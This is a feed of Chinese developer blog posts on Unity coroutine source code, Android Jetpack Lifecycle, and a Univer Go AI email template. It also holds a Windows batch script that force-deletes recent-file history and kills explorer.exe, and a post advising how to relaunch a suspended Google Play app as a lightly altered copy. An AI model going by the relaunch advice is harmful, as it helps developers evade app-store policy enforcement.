此外,我们还大致推测出了协程工作的方式。那么现在的问题是:谁来负责在何时的时机,调用枚举器类的MoveNext方法呢?通过简单的思考,不难推知,这个工作只能由Unity引擎来完成!

下面以Unity 4.3.1f1版本源码为例,来具体说明这个过程。同样地,为了行文方便,在下文中我也会对实际的源代码进行删改。

C#层的封装

根据前面的分析,我们可以知道用于启动协程的StartCoroutine函数实际上接收的是一个迭代器类的实例化对象。

如下图所示,通过查看StartCoroutine函数的源代码,可知它会进一步调用StartCoroutineManaged2函数,而该函数属于InternalCall类别,即其是在Unity引擎内部使用C++代码实现的。

1.png

C++层实现

协程初始化与注册的实现

在Runtime/Mono/MonoBehaviour.cpp中,可以找到StartCoroutineManaged2函数的源代码。这部分的代码的大致意思是,首先调用CreateCoroutine函数创建一个协程C++对象,然后调用CreateManagedWrapperForCoroutine函数将该对象封装成一个C#对象,返回给上层的C#脚本。

ScriptingObjectPtr MonoBehaviour::StartCoroutineManaged2 (ScriptingObjectPtr enumerator)
{
if (!IsActive ())
{
// 当Game Object被禁用时,无法启动协程…
return SCRIPTING_NULL;
}
Coroutine* coroutine = CreateCoroutine(enumerator, SCRIPTING_NULL);
return CreateManagedWrapperForCoroutine(coroutine);
}

别忘了我们感兴趣的问题是“协程是如何被执行的”。于是进入CreateCoroutine函数进行进一步分析。

阅读源码可知,该函数除了创建并初始化协程对象外,还会在当前轮事件循环中,通过调用协程对象的Run方法来直接启动协程的执行。

此外,从该函数中最后对协程对象引用计数的分类讨论来看,在Run方法执行的过程中,Unity引擎就可以判断出该协程是否需要等待若干帧之后才能被释放。

Coroutine* MonoBehaviour::CreateCoroutine(ScriptingObjectPtr userCoroutine, ScriptingMethodPtr method)
{
    // 获取枚举器实例对象的MoveNext方法指针
ScriptingMethodPtr moveNext = scripting_object_get_virtual_method(userCoroutine, MONO_COMMON.IEnumerator_MoveNext, GetScriptingMethodRegistry());
    // 获取枚举器实例对象的Current方法指针
ScriptingMethodPtr current = scripting_object_get_virtual_method(userCoroutine, MONO_COMMON.IEnumerator_Current, GetScriptingMethodRegistry());

    // 创建协程对象,并设置其一些属性的初值…
Coroutine* coroutine = new Coroutine ();
coroutine->m_CoroutineEnumerator = userCoroutine;  // 绑定协程对象对应的枚举器实例
coroutine->SetMoveNextMethod(moveNext);  // 获取枚举器实例的MoveNext方法指针
coroutine->SetCurrentMethod(current);  // 获取枚举器实例的Current方法指针
coroutine->m_Behaviour = this;
coroutine->m_ContinueWhenFinished = NULL;
coroutine->m_WaitingFor = NULL;
coroutine->m_RefCount = 1;
    // 略…

    // 将新创建的协程对象储存到挂载在MonoBehaviour实例上的协程列表中
m_ActiveCoroutines.push_back (*coroutine);
    // 开始执行协程
m_ActiveCoroutines.back ().Run ();

// 如果协程对象的引用计数没有增加,即刚才协程在当前帧内就全部执行完毕了,
// 直接释放协程对象,并且返回NULL
if (coroutine->m_RefCount <= 1)
{
Coroutine::CleanupCoroutine(coroutine);
return NULL;
}

// 如果协程对象的引用计数相比创建时增加,说明协程要等到后续帧才会全部执行完毕,
// 这时将协程对象的引用计数减去1(不会释放协程对象),
// 然后返回该对象给上层C#脚本即可。
Coroutine::CleanupCoroutine(coroutine);
return coroutine;
}

下面进入协程对象的Run方法进一步分析,这部分代码位于Runtime/Mono/ Coroutine.cpp文件,如下所示。

阅读这一部分源码,我们可以看到该函数会调用协程对应的枚举器实例的MoveNext方法,以使得协程往下执行一步(即状态机的状态发生一次迁移)。

之后,只需根据MoveNext方法返回的结果,即可判断出协程是否已完全执行完毕(即状态机是否已经进入最终状态)。如果还未完全执行完毕,则调用ProcessCoroutineCurrent函数进一步进行处理。

这与我们前面分析C#枚举器函数时所得出的结论是完全吻合的。

void Coroutine::Run ()
{
// 为了防止调用MoveNext方法期间,协程对象被垃圾回收,引用计数需要加1
m_RefCount++;
     // 调用协程对象绑定的枚举器实例的MoveNext方法,返回值存入keepLooping变量
ScriptingExceptionPtr exception = NULL;
bool keepLooping = InvokeMoveNext(&exception);
// MoveNext方法调用结束,协程对象的引用计数减1
CleanupCoroutine(this);
// 如果MoveNext方法返回false,说明当前协程已经全部执行完毕
if (!keepLooping)
{
// 如果有另外一个协程正在等待当前协程执行完毕
if (m_ContinueWhenFinished)
{
// 调用正在等待当前协程执行完毕的那个协程的Run方法,使其继续向下执行
              // 具体代码略…
}
         // 当前协程的生命周期已全部结束,直接退出Run函数的执行即可。
return;
}
     // 如果MoveNext方法返回true,说明当前协程还没有被全部执行完毕。
     // 根据协程中yield return语句返回的结果,进行进一步处理。
ProcessCoroutineCurrent();
}

我们不难理解,如果当前协程还没有完全执行完毕,即协程执行中途被yield return语句中断了执行,那么这时候Unity引擎就需要根据该语句反馈的结果,以确定下一次继续执行该协程的时机,然后转而继续执行事件循环中的其他逻辑。

这就是Unity协程不会阻塞游戏主事件循环的本质。 而ProcessCoroutineCurrent函数承担的就是这部分任务。

在正式继续往下分析Unity引擎源码之前,我们不妨首先翻阅一下Unity引擎的官方文档,以了解在Unity中支持处理哪些协程代码中通过yield return语句所反馈的结果。

我将其汇总如下表所示。

反馈结果说明
yield return null;表示当前协程等待到下一帧进行渲染时,继续往下执行。
yield return new WaitForEndOfFrame();表示当前协程等待到当前帧渲染结束后,继续往下执行。
yield return new WaitForSeconds(seconds);表示当前协程等待若seconds秒后,继续往下执行。最常用!
yield return WaitForFixedUpdate();表示当前协程等待到下一次固定时间间隔周期结束后(即所有GameObject的FixedUpdate方法下一次被调用后),再继续往下执行。
yield return WWW对象;表示当前协程发起一个网络请求。当网络请求结束后,当前协程方可继续向下执行。
yield return 另一个Coroutine对象;表示当前协程需等待另一个协程执行完毕后,方可继续向下执行。一般地,另一个协程亦可以通过StartCoroutine函数创建。

在了解了Unity所支持处理的几种协程代码反馈情况后,让我们继续向下分析源码,看看这几种情况分别对应于源码中的哪些部分。注意,在本文中我仅会展开分析yield return new WaitForSeconds这种情况。另外的情况分析方法与之类似,故不再赘述。

上文提及的ProcessCoroutineCurrent函数实现源码如下所示。可以看到该函数的实现是比较简单的,仅提供了针对yield return null这种情况的处理。针对其余几种情况的处理,还需要进一步分析HandleIEnumerableCurrentReturnValue函数。

void Coroutine::ProcessCoroutineCurrent()
{
ScriptingExceptionPtr exception = NULL;
     // 获取协程对应的枚举器实例的Current方法
ScriptingInvocation invocation(m_Current);
// …
    // 调用Current方法,即可获取到yield return语句反馈的结果,储存在monoWait变量中。
ScriptingObjectPtr monoWait = invocation.Invoke(&exception);
// 处理yield return null这种情况
if (monoWait == SCRIPTING_NULL)
{
// 将协程延迟到下一帧渲染时继续执行,具体代码略…
return;
}
     // 否则继续调用这个函数进一步处理其他情况
HandleIEnumerableCurrentReturnValue(monoWait);
}

终于来到HandleIEnumerableCurrentReturnValue函数了!如下所示,在这个函数中我们终于见到了对于yield return语句每一种反馈结果的处理情况。

void Coroutine::HandleIEnumerableCurrentReturnValue(ScriptingObjectPtr monoWait)
{
// 略…
// 处理`yield return new WaitForSeconds`这种情况
if (scripting_class_is_subclass_of (waitClass, classes.waitForSeconds)) {
m_RefCount++;
float wait;
         // 从WaitForSeconds对象中提取出要等待的秒数,储存在wait变量当中。
MarshallManagedStructIntoNative(monoWait,&wait);
// 调用CallDelayed函数,将当前协程对象添加到延时队列中去。
CallDelayed (ContinueCoroutine, m_Behaviour, wait, this, 0.0F, CleanupCoroutine, DelayedCallManager::kRunDynamicFrameRate | DelayedCallManager::kWaitForNextFrame);
         // 当前帧中对该协程对象的处理全部结束,直接返回即可。
return;
}
// 处理`yield return new WaitForEndOfFrame()`这种情况
if (scripting_class_is_subclass_of (waitClass, classes.waitForFixedUpdate)) {
// …
}
// 处理`yield return new WaitForEndOfFrame()`这种情况
if (scripting_class_is_subclass_of (waitClass, classes.waitForEndOfFrame)) {
// …
}
// 处理` yield return 另一个Coroutine对象`这种情况
if (scripting_class_is_subclass_of (waitClass, classes.coroutine)) {
// … 
}
// 处理` yield return WWW对象`这种情况
if (classes.www && scripting_class_is_subclass_of (waitClass, classes.www )) {
// …
}
    // 略…
}

yield return new WaitForSeconds这种情况为例,我们下一个要解决的问题是, Unity引擎如何在准确的时机继续调度协程继续向下执行呢?可以看到,想要解决这个问题,就必须进一步分析清楚CallDelayed函数。

控制协程向下执行的实现

CallDelayed函数的实现代码位于Runtime/GameCode/CallDelayed.cpp文件。阅读其源码可知,该函数的主要功能是将要延迟被调度的任务及其元信息封装成一个Callback对象,然后挂载到Unity引擎的延迟调度任务队列m_CallObjects当中去。

阅读Runtime/GameCode/CallDelayed.h中的代码可知,m_CallObjects的作用相当于一个优先队列,会按照被任务调度执行时间的早晚顺序,对存入其中的Callback对象进行排序。由于这部分代码比较简单,就不在文中给出了。

void CallDelayed (DelayedCall *func, PPtr<Object> o, float time, void* userData, float repeatRate, CleanupUserData* cleanup, int mode)
{
    // 创建Callback对象
DelayedCallManager::Callback callback;
     // 记录发起延迟调度任务的对象指针
     // 在本例中,该指针执行的应为挂载相应协程代码脚本的MonoBehaviour对象
     callback. object = o;
// 计算回调函数被调度执行的时间,即`当前系统时间+需要延迟等待的时间`
callback.time = time + GetCurTime ();
// 设置需要被延迟调度的任务的函数指针。在本例中func指针指向ContinueCoroutine。
callback.call = func;
// 设置延迟任务被调度后,需要传递给相应回调函数的参数。
// 在本例中,这个要传递的参数即为相应协程对象的指针。
callback.userData = userData;
     // 其他属性的设置略…
     // 将Callback对象添加到延迟调度队列当中去。
GetDelayedCallManager ().m_CallObjects.insert (callback);
}

接下来的故事应该很容易能够猜到了。在Unity每次执行事件循环时,都会在一定的时机遍历延迟调度队列m_CallObjects,将当前的系统时间与队列中那些延时任务的被调度执行时间进行对比。

若某个任务的被调度执行时间小于等于当前的系统时间,那么就从队列中取出这个任务,执行其回调函数。

而在本例中,回调函数为ContinueCoroutine,那么它被执行后,就应该会继续调用对应协程对象的Run方法,使得协程能够相应地执行下去。这样就能够实现协程被调度的效果。

具体到源码,遍历并检查延迟调度任务的工作由DelayedCallManager::Update函数实现。而让相应协程继续向下执行的工作由ContinueCoroutine实现。

可以看到,它们的行为与我们的猜测完全一致!

// Call all delayed functions when the time has come.
void DelayedCallManager::Update (int modeMask)
{
// 获取当前系统时间
float time = GetCurTime();
// 从优先队列的头部(即被延迟调度时间最早的任务)开始遍历,
// 直至当前任务的被延迟调度时间比当前系统时间还晚。
Container::iterator i = m_CallObjects.begin ();
while (i !=  m_CallObjects.end () && i->time <= time)
{
m_NextIterator = i;m_NextIterator++;
// 校验代码略…
// 从优先队列中取出Callback对象
Callback &cb = const_cast<Callback&> (*i);
         // 执行绑定在Callback对象上的回调函数
Object *o = Object::IDToPointer (cb.object.GetInstanceID ());
void* userData = cb.userData;
DelayedCall* callback = cb.call; 
callback (o, userData);
// 收尾代码略…
i = m_NextIterator;
}
}
void Coroutine::ContinueCoroutine (Object* o, void* userData)
{
// 获取到要继续向下执行的协程对象
Coroutine* coroutine = (Coroutine*)userData;
// 如果该协程对象绑定的MonoBehaviour对象,和发起调用时绑定的不一致,就抛出错误。
if ((Object*)coroutine->m_Behaviour != o) {
// …
return;
}
// 调用Run方法,继续向下执行协程对象
coroutine->Run ();
}

协程调度的时机

到此我们已经基本捋清楚了Unity引擎中协程执行的逻辑。

现在还剩最后一个问题:在每次事件循环中,Unity引擎是具体在哪个时机来调用DelayedCallManager::Update函数以实现对协程的调度的呢?

由于Unity引擎事件循环的源码非常复杂,不便于直接翻阅,首先我们可以先看一下Unity的官方文档是怎么说的。

如下图所示,官方文档中给出了协程被调度执行的时机:全体GameObject的Update方法被执行后,全体GameObject的LateUpdate方法被执行前。

1.png

最后,我们按图索骥,在引擎的事件循环源码中成功找到了相应的代码,成功验证了Unity官方文档的说法。如下所示,这部分代码位于Runtime/Misc/Player.cpp。

bool PlayerLoop (bool batchMode, bool performRendering, IHookEvent* pHookEvt) {
// 略…
// 执行所有GameObject的Update方法
GetBehaviourManager ().Update ();
// 略…
// 调度执行协程
GetDelayedCallManager ().Update (DelayedCallManager::kRunDynamicFrameRate);
// 更新动画
CALL_UPDATE_MODULAR(AnimatorUpdateFKMove);
CALL_UPDATE_MODULAR(LegacyAnimationUpdate);
CALL_UPDATE_MODULAR(AnimatorUpdateRetargetIKWrite);
// 略…
     //执行所有GameObject的LateUpdate方法
GetLateBehaviourManager ().Update ();
// 略…
}

总结

通过对Unity引擎底层源码的阅读分析,我们可以将Unity引擎中协程机制的本质,总结为如下几点:

  1. 有限状态机模型:协程的核心逻辑被分解为多个状态,通过状态迁移实现分段执行。MoveNext方法是状态迁移的执行入口,每次调用后状态机会进入下一个状态。
  2. 非阻塞设计:通过yield return反馈的中间结果,Unity引擎能够根据具体条件(如时间、帧数或事件)决定何时恢复协程执行,而不影响主线程的运行。这种设计确保了游戏的实时性。
  3. 引擎支持与事件循环:Unity引擎的底层通过延迟任务队列管理协程调度,与事件循环紧密结合。在每帧的Update和LateUpdate方法之间,协程的调度逻辑被执行,确保协程与游戏主线程协同工作。

by PAK向日葵 at January 26, 2025 12:32 PM

juejin career

Windows 清理最近访问记录脚本

最近几天回家,家人会有用我电脑的需求,偶尔也会有小朋友拿我电脑玩游戏,这时候尴尬的事就出现了,电脑的最近记录里有不少清凉小姐姐图片访问记录,哪怕我把图片视频都删了,访问记录还在,一条条记录删除又太麻烦。本来想彻底关闭这个功能,但是有时候也挺好用的。后面发现只要删除三个目录下的文件就可以删除记录,但是如果每次都要翻这三个目录也挺麻烦,所以就写成了脚本。

批处理脚本介绍

该脚本具备以下功能:

  1. 自动请求管理员权限,确保有足够的权限执行清理操作。管理员权限不是必须的,但是可能部分电脑系统会需要
  2. 清理最近打开的文件记录,包括标准的最近文件、自动目标和自定义目标。
  3. 提示用户是否需要重启资源管理器,测试发现清理这些文件后,访问记录依旧会存在半分钟以上,但是重启资源管理器就能解决

脚本内容

chcp 65001
@echo off
:: 检查是否以管理员权限运行
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo 需要管理员权限,请授权...
    powershell Start-Process -FilePath "%~0" -Verb RunAs
    exit
)

:: 清理最近打开的文件记录
echo 正在清理最近打开的文件记录...
del /F /Q "%APPDATA%\Microsoft\Windows\Recent\*"
del /F /Q "%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*"
del /F /Q "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*"

echo.
echo 清理完成!

:: 是否重启资源管理器
set /p RESTART_EXPLORER=是否需要立即重启资源管理器以清除残留记录?(Y/N):
if /I "%RESTART_EXPLORER%"=="Y" (
    echo 正在重启资源管理器...
    taskkill /F /IM explorer.exe
    start explorer.exe
    echo 资源管理器已重新启动!
) 

pause
exit

脚本详细解析

1. 请求管理员权限

net session >nul 2>&1
if %errorlevel% neq 0 (
    echo 需要管理员权限,请授权...
    powershell Start-Process -FilePath "%~0" -Verb RunAs
    exit
)

这部分代码用于检测脚本是否以管理员权限运行,如果不是,则通过 PowerShell 重新启动脚本,并请求用户授权。

2. 清理最近文件

del /F /Q "%APPDATA%\Microsoft\Windows\Recent\*"
del /F /Q "%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*"
del /F /Q "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*"

del /F /Q 命令用于强制删除指定目录下的文件:

  • Recent\*:存储所有最近打开的文件记录。
  • AutomaticDestinations\*CustomDestinations\*:包含自动和自定义的最近项目。

3. 询问用户是否重启资源管理器

set /p RESTART_EXPLORER=是否需要立即重启资源管理器以清除残留记录?(Y/N):

用户可以选择是否立即重启资源管理器,以确保更改生效。

if /I "%RESTART_EXPLORER%"=="Y" (
    taskkill /F /IM explorer.exe
    start explorer.exe
    echo 资源管理器已重新启动!
)

如果用户输入 Y,则会终止并重新启动 explorer.exe 进程。

4. 脚本结束

pause
exit

pause 命令会在清理完成后暂停屏幕,等待用户按键。

如何使用该脚本?

  1. 将上述脚本内容保存为 clear_recent_files.bat 文件。
  2. 双击该bat文件
  3. 根据提示选择是否重启资源管理器。

这个脚本能够快速、有效地清理 Windows 系统中的最近文件记录,保护隐私。简单易用,适合定期执行,避免敏感信息泄露。最后祝各位新年快乐🎉

by 淡写成灰 at January 26, 2025 10:49 AM

oschina news project

📧Univer Go :电子表格结合 AI,信息提取发邮件一键即达

解锁会自动发送邮件的电子表格:

hi👋 ,向大家介绍一款基于 Univer Go 开发的模版 —— AI Email 。它通过集成 Phidata API,能够智能访问 AI 服务,在 Univer Sheets 中自动提取关键信息并发送邮件,轻松实现办公自动化。无论是自动回复、销售跟进、招聘管理,还是合同提醒,显著提升工作效率和响应速度,帮助企业及个人告别繁琐操作,开启高效智能的工作新方式。
Univer Go 的操作界面中,您只需一键点击运行 AI Email 脚本,即可自动提取关键信息并发送邮件。不仅如此,Univer Go 还赋予了您对脚本进行深度自定义的能力,让您手中的工具真正为己所用,不管您是在应对复杂的业务流程,还是将创意工作设想变为现实,它都能精准匹配您的多元需求,高效又轻松地达成目标。
 
Univer Go 是一款高度可定制化的电子表格工具,能够根据用户需求构建一个性能与功能对标excel的电子表格。它支持灵活的功能扩展,涵盖基础数据处理、复杂的导入导出操作和协同功能,同时为 UI/UX 设计提供了定制空间,助力打造易用交互界面。此外,Univer Go 融合先进 AI 技术,配备了功能强大的脚本编写与执行工具,支持开发者创建和运行自动化脚本、进行数据库连接与数据读写管理以及开发自定义应用。无论是初学者还是专业开发者,都能凭借其简洁的操作逻辑和丰富功能支持,轻松上手。
体验链接Univer Go
 
 

实现 AI Emali

  1. client script 自定义交互组件

        const ui = univerAPI.getUi();
        
        //根据选中的单元格数据触发Univer sheet AI prompt助手,
        const AIPrompt = ui.createAIPrompt().setCustomStyles({'width': halfBodyWidth}).onSubmit(async (message) => {
            dialog.close();
            LoadingAnimation();
            AIPrompt.success(`Success: ${message}`);
            aiComplete();
        });    

     

  2. python server script 提供AI交互服务,根据提示词和单元格数据访问GPT API 返回结果

    from phi.agent import Agent, RunResponse
    from phi.model.openai.like import OpenAILike
    from pydantic import BaseModel, Field
    
    def gpt(query: str):
        gpt_agent = Agent(
            name="GPT Agent",
            model=OpenAILike(
                id=os.getenv('AI_MODLE'),
                api_key=os.getenv('AI_API_KEY'),
                base_url=os.getenv('AI_API_URL'),
            ),
            instructions=["Ask a question and get an answer, give me the briefest answer."],
        )

     

  3. client script 读取 unit 数据并调用 python script 和 AI 交互

     //读数据
      const workbook = univerAPI.getActiveWorkbook();
        const sheet = workbook.getActiveSheet();
        const originData = sheet.getRange('A1:A10');
        // Get all current values from the range
        const values = originData.getValues();
        // Get the values from originData
        const data = values.flat();
      
      // 调用API, 请求AI 返回数据
        const nameRes = await univerAPI.runOnServer('py', 'gpt', `get a user name from given text, NOTE: you should ONLY output a name: <text>${val}</text>`);
      
      // 调用Universe sheet单元格写API,回写数据
      nameCell.setValue(name);
            executeProgress(i++, dataCount);
            setAiStatus(nameCell.getRow(), nameCell.getColumn(), getRandomInt());

     

  4. client script 发送 e-mail
       // 调用emailjs,实现对邮件的回写      
            emailjs.send(
                'your servic id', //  servic id
                'your template id',  //  template id
                {
                    message: data,
                    name: name,
                    send_to:email,
                },
            )

     

现成模版快速使用 !

  1. 请先下载 Univer Go , 在模版中找到 AI Email ,点击使用
    下载链接:Univer Go

 
2.  右侧展示 代码编辑器,它提供了 AI 辅助编写API、语法高亮、代码折叠等功能,帮助开发者更高效地编写、调试和维护代码。
    想要了解 AI 辅写功能请查看这篇文章: Univer Go 推出 AI 辅助编写 Univer API 功能

 

3.  调整代码后预览表格,最后运行代码
 
  1. 在预览的表格内选中需要处理的信息,点击选区右上角的“AI”按钮
  1. 输入诸如 “Please extract the candidate's name, email address, and generate an email to be sent.” 这样的提示词,点击确定后等待分析,期间右上角会有进度提示,同时返回结果也将实时更新至单元格。
 
  1. 分析完成,所有单元格更新数据后,可点击右上角交互框内的 “发送邮箱” 选项。
 
  1. 选中你想要发送的人,点击“发送邮箱” 并观察发送状态( 发送成功或失败均有提示)
 
  1. 通过以上简单步骤,帮助您轻松实现表格自动发送邮件!即刻登录 Univer Go ,探索丰富多样的定制化功能,开启高效办公新体验!

by 来源: 投稿 at January 26, 2025 10:18 AM

juejin android

Android Jetpack学习(三)---LifeCycle,LifecycleRegistry和LifecycleOwner 关系梳理

Jetpack是Google为Android开发提供的组件库.旨在帮助开发者更快更好的开发App程序. 它提供了一系列工具,库和架构组件涵盖了UI展示数据管理,和后台服务到设备兼容的各个方面.

LifeCycle 用于管理组件的生命周期,使开发者能够更方便地编写与组件生命周期相关的代码,实现代码解耦和资源的合理管理。

上篇文章从源码分析了Lifecycle LifecycleRegistry 和LifecycleOwner 的代码实现,这篇文章我们梳理一下 他们的关系以及调用

1:具体实现功能

Lifecycle 是一个抽象类 提供了抽象方法和属性

  • 声明了添加和移除观察的方法
  • 声明了事件以及事件状态
  • 提供了一个生命周期的协程作用域
  • 声明了一个事件流
  • 声明了一个状态流

LifecycleRegistry继承了Lifecycle 实现了具体的功能

LifecycleOwner是一个接口,维护了一个Lifecycle的对象 Activity/Fragment 等控件通过实现LifecycleOwner 持有了Lifecycle 并创建了一个LifecycleRegistry 对象来分发其生命周期的状态

2:三者关系

Lifecycle是一个抽象类

LifecycleOwner是一个接口维护了一个Lifecycle变量

LifecycleRegistry继承Lifecycle且通过构造维护了一个 LifecycleOwner对象

3:Activity生命周期观察的具体实现

3.1 Activity 创建LifecycleRegistry并且 将LifecycleRegistry对象赋值给LifecycleOwner的lifecycle

创建LifecycleRegistry

3.2 创建LifecycleRegistry对象 弱引用维护LifecycleOwner

addObserver()方法将

LifecycleRegistry

3.3 创建Lifecycle 创建协程对象并且调用LifecycleRegistry对象的观察者对象添加到LifecycleRegistr中mapozhong

image.png 注意 LifecycleCoroutineScopeImpl 即实现了LifecycleCoroutineScope又实现了LifecycleEventObserver所以它即是一个协程作用域 又是一个状态变化的观察者

所以 lifecycle.addObserver(this@LifecycleCoroutineScopeImpl)是讲一个观察者传递了出去

//即实现了LifecycleCoroutineScope又实现了LifecycleEventObserver

internal class LifecycleCoroutineScopeImpl(
    override val lifecycle: Lifecycle,
    override val coroutineContext: CoroutineContext
) : LifecycleCoroutineScope(), LifecycleEventObserver {
    init {
           //销毁状态取消协程
        if (lifecycle.currentState == Lifecycle.State.DESTROYED) {
            coroutineContext.cancel()
        }
    }

    fun register() {
        launch(Dispatchers.Main.immediate) {
            if (lifecycle.currentState >= Lifecycle.State.INITIALIZED) {
                lifecycle.addObserver(this@LifecycleCoroutineScopeImpl)
            } else {
                coroutineContext.cancel()
            }
        }
    }

    override fun onStateChanged(source: LifecycleOwner, event: Lifecycle.Event) {
    //销毁状态的时候取消协程
        if (lifecycle.currentState <= Lifecycle.State.DESTROYED) {
            lifecycle.removeObserver(this)
            coroutineContext.cancel()
        }
    }
}
3.4 Lifecycle调用LifecycleRegistryaddObserver()方法将观察者添加到LifecycleRegistry维护的observerMap

将观察者添加到观察者map中

关系图

4: FragmentActivity 生命周期变化的通知流程图

image.png

image.png

image.png

image.png

image.png

image.png

image.png

package androidx.fragment.app;

import android.content.Context;
import android.content.res.Configuration;
import android.os.Bundle;

import androidx.activity.ComponentActivity;
import androidx.annotation.CallSuper;
import androidx.lifecycle.Lifecycle;
import androidx.lifecycle.LifecycleRegistry;
import androidx.savedstate.SavedStateRegistry;

public class FragmentActivity extends ComponentActivity {
    static final String FRAGMENTS_TAG = "android:support:fragments";
    private final FragmentController mFragments = FragmentController.createController(new HostCallbacks());
    private final LifecycleRegistry mFragmentLifecycleRegistry = new LifecycleRegistry(this);

    public FragmentActivity() {
        super();
        init();
    }

    public FragmentActivity(int contentLayoutId) {
        super(contentLayoutId);
        init();
    }

    private void init() {
        getSavedStateRegistry().registerSavedStateProvider(FRAGMENTS_TAG,
                new SavedStateRegistry.SavedStateProvider() {
                    @Override
                    public Bundle saveState() {
                        Bundle outState = new Bundle();
                        markFragmentsCreated();
                        // 通知 mFragmentLifecycleRegistry,Fragment 的生命周期进入 ON_STOP 状态
                        mFragmentLifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_STOP);
                        android.os.Parcelable p = mFragments.saveAllState();
                        if (p != null) {
                            outState.putParcelable(FRAGMENTS_TAG, p);
                        }
                        return outState;
                    }
                });
        addOnContextAvailableListener(context -> {
            mFragments.attachHost(null);
            Bundle savedInstanceState = getSavedStateRegistry()
                   .consumeRestoredStateForKey(FRAGMENTS_TAG);
            if (savedInstanceState != null) {
                android.os.Parcelable p = savedInstanceState.getParcelable(FRAGMENTS_TAG);
                mFragments.restoreSaveState(p);
            }
        });
    }

    @Override
    @CallSuper
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        // 通知 mFragmentLifecycleRegistry,Fragment 的生命周期进入 ON_CREATE 状态
        mFragmentLifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_CREATE);
        mFragments.dispatchCreate();
    }

    @Override
    @CallSuper
    protected void onStart() {
        mFragments.noteStateNotSaved();
        super.onStart();
        markFragmentsCreated();
        // 通知 mFragmentLifecycleRegistry,Fragment 的生命周期进入 ON_START 状态
        mFragmentLifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_START);
        mFragments.dispatchStart();
    }

    @Override
    @CallSuper
    protected void onResume() {
        mFragments.noteStateNotSaved();
        super.onResume();
    }

    @Override
    @CallSuper
    protected void onPostResume() {
        super.onPostResume();
        onResumeFragments();
    }

    protected void onResumeFragments() {
        // 通知 mFragmentLifecycleRegistry,Fragment 的生命周期进入 ON_RESUME 状态
        mFragmentLifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_RESUME);
        mFragments.dispatchResume();
    }

    @Override
    @CallSuper
    protected void onPause() {
        super.onPause();
        mFragments.dispatchPause();
        // 通知 mFragmentLifecycleRegistry,Fragment 的生命周期进入 ON_PAUSE 状态
        mFragmentLifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_PAUSE);
    }

    @Override
    @CallSuper
    protected void onStop() {
        super.onStop();
        markFragmentsCreated();
        mFragments.dispatchStop();
        // 通知 mFragmentLifecycleRegistry,Fragment 的生命周期进入 ON_STOP 状态
        mFragmentLifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_STOP);
    }

    @Override
    @CallSuper
    protected void onDestroy() {
        super.onDestroy();
        mFragments.dispatchDestroy();
        // 通知 mFragmentLifecycleRegistry,Fragment 的生命周期进入 ON_DESTROY 状态
        mFragmentLifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_DESTROY);
    }

    private void markFragmentsCreated() {
        boolean reiterate;
        do {
            reiterate = markState(mFragments.getSupportFragmentManager(), Lifecycle.State.CREATED);
        } while (reiterate);
    }

    private static boolean markState(FragmentManager manager, Lifecycle.State state
    

总结

Android Jetpack学习(一)---简介

Android Jetpack学习(二)---LifeCycle,LifecycleRegistry和LifecycleOwner 源码梳理

by 没有了遇见 at January 26, 2025 08:56 AM

Google Play 应用暂停重新上架的一些思考

对于Google Play 应用暂停 重新上架,不知道大家是怎么做的。这里提供一些我的思考。

当应用暂停,开发者账号还没被封的情况,要么进行应用暂停申诉,要么直接新建应用送审。

1. 应用暂停申诉

这种想必也是大家的常规做法,进行应用申诉,然后等待,然后大概率应用回不来。

即使申诉成功回来,想必时间也会耽搁不少,一般都是在1个月多到2个月多。而且申诉文案也是一个极其头疼的事情。同时对于业务的损失也较大。

如果大家还是要走申诉的路子,可以适当参考:Google Play 开发者账号被封&应用暂停 申诉的一些思考先来看一组数据 2024 年前三季度谷歌商店累计下架约 - 掘金

2. 新建应用送审

下面聊聊第二种的做法,被暂停的应用直接废弃,另起新建应用进行送审。

新建的应用,有一些注意事项:

Logo

关于Logo还是需要调整,不可与暂停的应用Logo一模一样,适当调整

UI

关于 UI 同理也是,适当更换资源icon

代码

最后是代码,建议参考:Google Play 开发者账户被封 如何改代码快速上架(一)Google Play 开发者账户被封 如何改代码快速上 - 掘金

我看市面还是有好些是这么在操作的。初步估计这种时间耽搁大致在半个月不到,用户可将老用户进行倒流到新用户,减少老用户的流失。如有错误,请各位纠正。

谷歌目前还是能够容忍这种2个应用类似上架的。

以下是市面的一些案例:

image.png

image.png

最后还是希望大家遵守Google Play 开发者政策,毕竟下架、暂停、封号对公司影响还是比较大的。多了解一些政策,合规才是做大做强的唯一出路。

by 出海小纸条 at January 26, 2025 07:04 AM

Android Jetpack学习(二)---LifeCycle,LifecycleRegistry和LifecycleOwner 源码梳理

Jetpack是Google为Android开发提供的组件库.旨在帮助开发者更快更好的开发App程序. 它提供了一系列工具,库和架构组件涵盖了UI展示数据管理,和后台服务到设备兼容的各个方面.

LifeCycle 用于管理组件的生命周期,使开发者能够更方便地编写与组件生命周期相关的代码,实现代码解耦和资源的合理管理。

核心类

  • Lifecycle(生命周期)
  • LifecycleRegistry(生命周期注册表)
  • LifecycleOwner(生命周期拥有者)

下面让我们从源码的角度分析下 具体实现

1.Lifecycle(生命周期)

1.1 Lifecycle类做了什么

Lifecycle是生命周期管理的核心类,他是一个抽象类具体功能在 LifecycleRegistry 这个实现类中实现

核心方法以及属性介绍

核心功能以及属性

1.1.1 生命周期状态和事件的定义

状态枚举(State

Lifecycle 类中定义了 State 枚举,用于表示 Android 组件的不同生命周期状态,这些状态形成了一个有序的生命周期状态图。主要的状态包括:

  • INITIALIZED:组件初始化状态,例如 Activity 被构造但还未调用 onCreate 方法时处于此状态。
  • CREATED:组件已创建,对应 Activity 的 onCreate 方法调用之后,或者在 onStop 方法调用之前的状态。
  • STARTED:组件已启动,对应 Activity 的 onStart 方法调用之后,或者在 onPause 方法调用之前的状态。
  • RESUMED:组件已恢复,对应 Activity 的 onResume 方法调用之后的状态。
  • DESTROYED:组件已销毁,对应 Activity 的 onDestroy 方法调用之前的最后状态。

